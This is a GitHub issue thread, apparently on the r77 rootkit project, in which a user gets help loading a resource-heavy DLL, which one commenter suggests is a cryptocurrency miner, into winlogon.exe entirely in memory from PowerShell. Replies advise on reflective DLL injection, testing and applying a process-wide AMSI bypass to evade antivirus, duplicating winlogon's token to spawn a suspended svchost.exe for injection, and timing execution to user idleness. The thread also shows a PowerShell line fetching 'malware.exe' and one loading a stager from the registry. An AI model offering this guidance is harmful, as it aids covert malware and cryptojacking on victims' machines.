Does the ReflectiveDllMain function also work in other DLLs?

[Alcinzal]

I have a working C++ DLL project where DllMain executes properly on load, however I wish to inject this DLL file from PowerShell fully in memory. This would work similarly to how your project works, specifically the Stager and the ReflectiveDllMain function. Initially I thought that all I needed was the Stager, but looking deeper into it, it seems I must also change the DLL file to include a ReflectiveDllMain function.

If I understand it correctly the Stager will load the DLL in memory, but can't call DllMain directly, therefore it calls ReflectiveDllMain which does all the heavy lifting of memory management and such, and then at last this function calls the DllMain function.

I guess what I am wondering is if your implementation of the ReflectiveDllMain function in this project also works for other DLLs with minimal/no changes? Or if it is necessary for me to make a lot of modifications for the function to work?

How would you suggest I approach/navigate this challenge?

Thank you.

[bytecode77]

You should be able to copy my implementation of ReflectiveDllMaindirectly into your project without needing to "dissect" it from other parts of the code, i.e. only ReflectiveDllMain.c and ReflectiveDllMain.h.

The Inject.InjectDll method from Stager.cs copies the exe file into memory, locates the ReflectiveDllMain function and calls it. The reflective loader than does the heavy lifting.

You can just as easily convert this C# method into pure powershell code, or use a C# cmdlet. Just know that a cmdlet is compiled into a DLL file and written to disk. That's why my powershell routine does not contain any C# code.

[Alcinzal]

Thank you for the answer.

Since ReflectiveDllMain.c and ReflectiveDllMain.h tries to include other files from your project, I ended up having to copy the following files to get my program to compile:
r77api/ntdll.h
r77api/peb.c
r77api/peb.h
r77api/r77mindef.h
r77api/r77win.c
r77api/r77win.h

I also had to link some extra libraries like psapi and shlwapi (from r77api/r77win.c). Though sadly, I never got your implementation to work properly for my project.

That's when I instead moved over to Stephen Fewer's ReflectiveDLLInjection, which I understand as the "OG" reflective dll injection library. I did actually manage to get this working successfully with my project, I even rewrote the injector in C# and managed to invoke it from PowerShell.

However this was when another problem arose, my program that I wished to inject into winlogon.exe is rather heavy, both on CPU and on memory. It is also quite crash-prone/unstable and on top of that it requires SeLockMemoryPrivilege, something that winlogon.exe does not have.

Because of the unreliable heavy.dll (my program) being injected into winlogon.exe it could cause the entire Windows session/interface to slow down, completely freeze or even restart.

A quick rundown:

• heavy.dll
  • Only run when user is idle
  • Needs SeLockMemoryPrivilege
  • Resource intensive
  • Crash-prone/unstable
• winlogon.exe
  • Important process that should not be throttled
  • Does not have SeLockMemoryPrivilege
  • Has the ability to call GetLastUserInput (to check if user is idle)
• C# Stager (from Windows Services)
  • Has SeLockMemoryPrivilege
  • Can't call GetLastUserInput (because the process runs in session 0)

Since I need to be able to call GetLastUserInput and also have SeLockMemoryPrivilege enabled I came up with the idea of creating a lightweight watchdog.dll that is injected into winlogon.exe and receives the stager's token and uses it to call CreateProcessAsUser. I was originally going to try to overwrite the created process with my heavy.dll/.exe using process overwriting (a form of process hollowing), but since I already had the logic of reflective dll injection, I just used that instead.

C/C++ is not my area of expertise, so I instead moved over to a reflective dll injection project written in Rust: venom-rs. I believe it is very similar to Stephen Fewer's project, but the main difference is that it uses raw shellcode injection as a middleman before the reflective dll does the rest, this makes the injection itself very simple.

I felt inspired by your flowchart to make my own, since I was having troubles explaining the steps in my process clearly, but it turned out much more chaotic 😅

As you can see I have also noted what user and which session the process runs under.

Lastly I have a couple of questions:

1. The process steps in the flowchart above has been tested and does work, but what do you think of my approach? Is it acceptable? Overcomplicated?
2. How do I check if my AMSI bypass is working? I made some changes to your bypass and managed to get the output of True twice without errors. What tools do I need to check that loading an assembly and invoking the entry point does not send the file to AV?
3. As mentioned earlier, winlogon.exe is completely missing the SeLockMemoryPrivilege, it is not disabled, it's just not there. Is there any way to add this to the process? Or intercept it before it gets created and add the privilege there?
4. I previously thought that processes running SYSTEM were the same no matter what, but through this project I found out about sessions. If I understand it correctly, the reason winlogon.exe can call GetLastUserInput and also open interfaces is because it runs in session 1, while processes in session 0 do not have the ability to do such because it doesn't run together with the user?
5. If I understand your documentation correctly, when executing a C# binary from PowerShell the .NET version does not matter? So even if my stager is compiled with .NET 3.5 it will still run even if that version is not present on the computer?
6. Is it a good idea to send the token handle through pipes? Any other way that would be better?
7. Do you have any general tips for tools that help with this kind of Windows project? For monitoring and troubleshooting? I have found ProcMon to be quite helpful so far.

[bytecode77]

Wow.. You've put quite a lot ot thought and detailed planning into this! The graph is impressive by the way.

About the include files: You can delete any declarations from it that are not directly used in ReflectiveDllMain.c. The result should be a rather tiny function that is position independent, just like the project from Stephen Fewers. His seems to work very much like mine. Although it seems like he decompiled it from binary into C++, hence the uiValueA, uiValueB, etc. You can take either one. If you take mine, you can just strip my source code to the bare requirements of the ReflectiveDllMain function, then you shouldn't need to link any lib files. Remember: The loader is position independent, so it has no dependencies by design.

I didn't stumble upon any issues with winlogon. I use it in the more recent versions to avoid creating a process at all. That way, I use the reflective loader for both the r77 DLL, and the r77 service. As far as I can see, you dove way deeper into details of that process, including privileges, etc... So, I can't directly tell what impact the privilege has, and at what point winlogon crashes. In my opinion, a process shouldn't crash just because of memory footprint or load. And yes, winlogon has access to the desktop, which is really nice.

I can't tell whether your startup & injection routine is over-complicated, or justified. These projects are usually never simple and straight forward and always require some multi-stage injection and evasion combining various techniques. r77 is similarly complicated in that sense.

It's worth trying to inject a process other than winlogon. If you think that it's a bad target for hosting your DLL thread, then you might want to try out other processes, or hollow your own one. I can't judge whether you specifically chose winlogon for a specific reason, or whether you just picked it and then sticked with it. So, whether this advice is useful - you be the judge.

Regarding your questions:

1. You try hard to make it work on winlogon. Maybe a different target would work just excellent with no complex moving around data across pipes. Did I understand correctly that the vast complexity stems from winlogon being problematic or instable?
2. I copy & paste the entire AMSI bypass one-liner (without the C# DLL loading at the end) into powershell, press return, and then type something known malicious, like "Invoke-Mimikatz". If the bypass worked, it's not going to offend PS.
3. See 1.) maybe winlogon is not suitable for your purposes
4. Yes! That's really awesome about a session 1 SYSTEM process. But session 0 works, too, you just have to impersonate to get to the desktop.
5. You can try on a VM that has only .NET 4.5. Powershell doesn't care about the target framework that the DLL was compiled with. I deliberately tested this, because I wanted to support Winodws 7 and Windows 10. Targeting .NET 3.5 was the only way I could guarantee it to run everywhere. But nowadays, targeting .NET 4.0 will work just fine as it's installed virtually everywhere.
6. Pipes are fine. Couldn't think of a better way...
7. I use OutputDebugString for debugging. Pretty poor, but helped me a lot. Especially when I have no idea what data the hooked functions receive, I needed this as sort of a log.

I hope you get along with your project! Progress can be painfully slow when dealing with these things ;) Just let me know if you want to know anything else.

[wineggdrop]

Thank you for the answer.

Since ReflectiveDllMain.c and ReflectiveDllMain.h tries to include other files from your project, I ended up having to copy the following files to get my program to compile: r77api/ntdll.h r77api/peb.c r77api/peb.h r77api/r77mindef.h r77api/r77win.c r77api/r77win.h

I also had to link some extra libraries like psapi and shlwapi (from r77api/r77win.c). Though sadly, I never got your implementation to work properly for my project.

That's when I instead moved over to Stephen Fewer's ReflectiveDLLInjection, which I understand as the "OG" reflective dll injection library. I did actually manage to get this working successfully with my project, I even rewrote the injector in C# and managed to invoke it from PowerShell.

However this was when another problem arose, my program that I wished to inject into winlogon.exe is rather heavy, both on CPU and on memory. It is also quite crash-prone/unstable and on top of that it requires SeLockMemoryPrivilege, something that winlogon.exe does not have.

Because of the unreliable heavy.dll (my program) being injected into winlogon.exe it could cause the entire Windows session/interface to slow down, completely freeze or even restart.

A quick rundown:

• heavy.dll

  • Only run when user is idle
  • Needs SeLockMemoryPrivilege
  • Resource intensive
  • Crash-prone/unstable

• winlogon.exe

  • Important process that should not be throttled
  • Does not have SeLockMemoryPrivilege
  • Has the ability to call GetLastUserInput (to check if user is idle)

• C# Stager (from Windows Services)

  • Has SeLockMemoryPrivilege
  • Can't call GetLastUserInput (because the process runs in session 0)

Since I need to be able to call GetLastUserInput and also have SeLockMemoryPrivilege enabled I came up with the idea of creating a lightweight watchdog.dll that is injected into winlogon.exe and receives the stager's token and uses it to call CreateProcessAsUser. I was originally going to try to overwrite the created process with my heavy.dll/.exe using process overwriting (a form of process hollowing), but since I already had the logic of reflective dll injection, I just used that instead.

C/C++ is not my area of expertise, so I instead moved over to a reflective dll injection project written in Rust: venom-rs. I believe it is very similar to Stephen Fewer's project, but the main difference is that it uses raw shellcode injection as a middleman before the reflective dll does the rest, this makes the injection itself very simple.

I felt inspired by your flowchart to make my own, since I was having troubles explaining the steps in my process clearly, but it turned out much more chaotic 😅

As you can see I have also noted what user and which session the process runs under.

Lastly I have a couple of questions:

1. The process steps in the flowchart above has been tested and does work, but what do you think of my approach? Is it acceptable? Overcomplicated?
2. How do I check if my AMSI bypass is working? I made some changes to your bypass and managed to get the output of True twice without errors. What tools do I need to check that loading an assembly and invoking the entry point does not send the file to AV?
3. As mentioned earlier, winlogon.exe is completely missing the SeLockMemoryPrivilege, it is not disabled, it's just not there. Is there any way to add this to the process? Or intercept it before it gets created and add the privilege there?
4. I previously thought that processes running SYSTEM were the same no matter what, but through this project I found out about sessions. If I understand it correctly, the reason winlogon.exe can call GetLastUserInput and also open interfaces is because it runs in session 1, while processes in session 0 do not have the ability to do such because it doesn't run together with the user?
5. If I understand your documentation correctly, when executing a C# binary from PowerShell the .NET version does not matter? So even if my stager is compiled with .NET 3.5 it will still run even if that version is not present on the computer?
6. Is it a good idea to send the token handle through pipes? Any other way that would be better?
7. Do you have any general tips for tools that help with this kind of Windows project? For monitoring and troubleshooting? I have found ProcMon to be quite helpful so far.

heavy.dll seems like xmig miner module.GetLastUserInput doesn't serm like a good solution for checking logon uset is idle or not.

[Alcinzal]

Thanks for the explanation on your ReflectiveDllMain implementation, the part about it being position independent and therefore not needing dependencies should have occurred to me earlier.

I realize I might not have explained the part about winlogon.exe, heavy.dll and the memory privilege properly:

• winlogon.exe
  • In itself, it is not an unstable process.
• heavy.dll
  • This is unstable.
  • Resource intensive.
  • Will cause problems/throttle any process it is injected into.
• SeLockMemoryPrivilege
  • This is a privilege that makes heavy.dll perform better, but it won't make it more stable.
  • It has no effect on winlogon.exe.

So in my case, I will just have to accept the fact that heavy.dll will inevitably cause problems to whichever process it is injected into. That is why my watchdog.dll works well here, it can start an unimportant process, inject heavy.dll into that, and if the process ever crashes, it can simply start it up again.

I did look around to see if there were any other processes that I could target instead, but I still found winlogon.exe to be the most suitable because:

• winlogon.exe
  • Runs as SYSTEM = High privileges.
  • Runs in session 1 = Can interact with the user.
  • It is a critical process that must stay alive.
• Other processes
  • Most of the other critical processes were running in session 0, and therefore couldn't interact with the user (though there is probably some way around this like you mentioned, impersonating).
  • I might be wrong, but I do believe that I tried to inject a DLL into a few SYSTEM session 0 processes (like wininit.exe) but wasn't able to because of permissions.
  • Some of them did fit the criteria but I found out they were temporary processes tied to a specific service, and thus might exit early.

Therefore, as long as the DLL injected into winlogon.exe is lightweight (in terms of resource usage), like my watchdog.dll or your r77.dll, there shouldn't be any problems with the process crashing or such.

Thank you for all of your answers and the compliment on my graph ☺️

I do have a couple questions about AMSI though:

1. What is AMSI?

• As I understand it, AMSI is some sort of middleman that sends specific things to AV and gets a response from them. AMSI doesn't do any scanning itself, it just verifies certain things with every AV installed on the computer. Is this correct?
• Does AMSI exist in every process? Or is it a PowerShell-specific thing?
• If there is no AV installed on the computer, does this mean that AMSI won't really do anything? Doing Invoke-Mimikatz should just work, since there isn't any AV to block it?

2. What does AMSI send?

From my understanding, every PowerShell command first gets sent to AV as a string to see if there are any malicious matches, which is called signature scanning, right? This is what blocks public AMSI bypasses from working, and why it is possible to slightly change them and get them working again.

But if I were to run something like this:

let $bytes = (Invoke-WebRequest -Uri "https://example.com/malware.exe").Content

Would this then make AMSI send these bytes to AV to check if it is safe to download them? Even if I never actually use these bytes?

And what about this:

[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey("SOFTWARE").GetValue("stager"))

Even if I am not invoking this, will it still send the registry value to AV?

Are there any tools I can use to monitor what/when AMSI sends something to AV? Could I add a breakpoint to the AmsiScanBuffer function using x64dbg and check if this gets called after certain PowerShell commands? Any other functions I should also check?

3. Ghosting AMSI

I recently found out about Ghosting AMSI, what do you think of bypassing AMSI like this?
The script currently uses Add-Type, but I was able to get it working without it by copying parts of your AMSI bypass and using the Get-Delegate function.

Thank you a lot again, I do believe that the routine my project currently follows works well, so I think I'll stick with that.

heavy.dll seems like xmig miner module.GetLastUserInput doesn't serm like a good solution for checking logon uset is idle or not.

How else would you recommend I check if the user is idle or not?

[wineggdrop]

you can spawn svchost.exe and inject heavy.dll into it

[wineggdrop]

you can spawn svchost.exe and inject heavy.dll into it.
1.install a service to monitor winlogon.exe creation,duplicate the winlogon token,use CreateProcessAsUser Or CreateProcesswithToken to spawn a suspended svchost.exe
2.Inject heavy.dll and it will interact with the user session

To check multi session idle time
1.WTSEnumerateSessions to retrieve all logon session
2.WTSQuerySessionInformation with WTSSessionInfo as 3th parameter to retrieve the active session info,inside the session structure,there is LastInputTime,by monitoring and comparing that value,you can detect if logon users idle or active

[bytecode77]

Seems like winlogon is a suitable host afterall. And like wineggdrop mentioned, there is always the option to spawn your own, hollowed, process. Although, I prefer to inject into a system process. What about setting thread priority to idle? It shouldn't hog CPU resources at all this way.

AMSI is really a funny idea from Microsoft. It is a DLL (amsi.dll) that is loaded by some apps, such as PowerShell, and even the .NET Framework. Any time PowerShell receives a command, it calls AmsiScanBuffer. This function sends the entered command to AV, given that there is one instaled, and the AV then responds with a status (OK/malicious). The AmsiScanBuffer function returns an integer accordingly. When powershell receives the return value, it then decides to abort execution. The .NET Framework also uses this interface, particularly when loading a buffer with a .NET exe to then invoke its entry point.

But you can already see that all of this happens in usermode entirely. There are dozenz of ways to overwrite AmsiScanBuffer to deactivate it one way or another. The Ghosting AMSI overwrites a lower level function than, which is a nice idea. Although it's really PoC, because it uses a Cmdlet with C# code in it that will compile to a DLL and be written on disk. And you would certainly need to get rid of the signature based detections of the AMSI bypass itself, before you can use this productively.

Either way, once you got rid of AMSI within the current process without the AMSI bypass itself causing detection, you're fine. Just implement your AMSI bypass process-wide, don't use a ".NET only AMSI bypass". It doesn't help you with an offending powershell command.

[Alcinzal]

You can spawn svchost.exe and inject heavy.dll into it.

1. Install a service to monitor winlogon.exe creation, duplicate the winlogon token, use CreateProcessAsUser or CreateProcesswithToken to spawn a suspended svchost.exe.
2. Inject heavy.dll and it will interact with the user session.

To check multi session idle time:

1. WTSEnumerateSessions to retrieve all logon session.
2. WTSQuerySessionInformation with WTSSessionInfo as 3rd parameter to retrieve the active session info, inside the session structure, there is LastInputTime, by monitoring and comparing that value, you can detect if logon users idle or active.

Thank you for the suggestion, and this is actually kind of what I already do, except I use the token of another process, since winlogon.exe's token is missing SeLockMemoryPrivilege, which is important for heavy.dll to work properly. Though interestingly upon brute-forcing token handles within the process, I found out that it actually does have other tokens as well, some of them have all the privileges needed, I'll have to give this a closer look. And also thank you for the guide on checking idle time across sessions, that will definitely be useful if I decide to change my process routine in the future.

And as always @bytecode77, thank you so much for taking your time helping me with this project and answering my questions. You never fail to impress me, so to show my gratitude I made a tiny donation of 0.002 USD to your crypto wallet. Or actually now that I think about it, USD is the unit used to display amounts in Bitcoin transactions, right? 🤭

[bytecode77]

Wow, thank you so much for your donation, @Alcinzal — This's incredibly generous! 😃 Always happy to help, and your “0.002 USD” joke definitely made me laugh 🤭 If you need anything else or have a question, just open an issue or send me an email ;)

[wineggdrop]

You can spawn svchost.exe and inject heavy.dll into it.

1. Install a service to monitor winlogon.exe creation, duplicate the winlogon token, use CreateProcessAsUser or CreateProcesswithToken to spawn a suspended svchost.exe.
2. Inject heavy.dll and it will interact with the user session.

To check multi session idle time:

1. WTSEnumerateSessions to retrieve all logon session.
2. WTSQuerySessionInformation with WTSSessionInfo as 3rd parameter to retrieve the active session info, inside the session structure, there is LastInputTime, by monitoring and comparing that value, you can detect if logon users idle or active.

Thank you for the suggestion, and this is actually kind of what I already do, except I use the token of another process, since winlogon.exe's token is missing SeLockMemoryPrivilege, which is important for heavy.dll to work properly. Though interestingly upon brute-forcing token handles within the process, I found out that it actually does have other tokens as well, some of them have all the privileges needed, I'll have to give this a closer look. And also thank you for the guide on checking idle time across sessions, that will definitely be useful if I decide to change my process routine in the future.

And as always @bytecode77, thank you so much for taking your time helping me with this project and answering my questions. You never fail to impress me, so to show my gratitude I made a tiny donation of 0.002 USD to your crypto wallet. Or actually now that I think about it, USD is the unit used to display amounts in Bitcoin transactions, right? 🤭

that method to check idle time I mentioned only works on remote session,it won't support the physical console session aka local logon session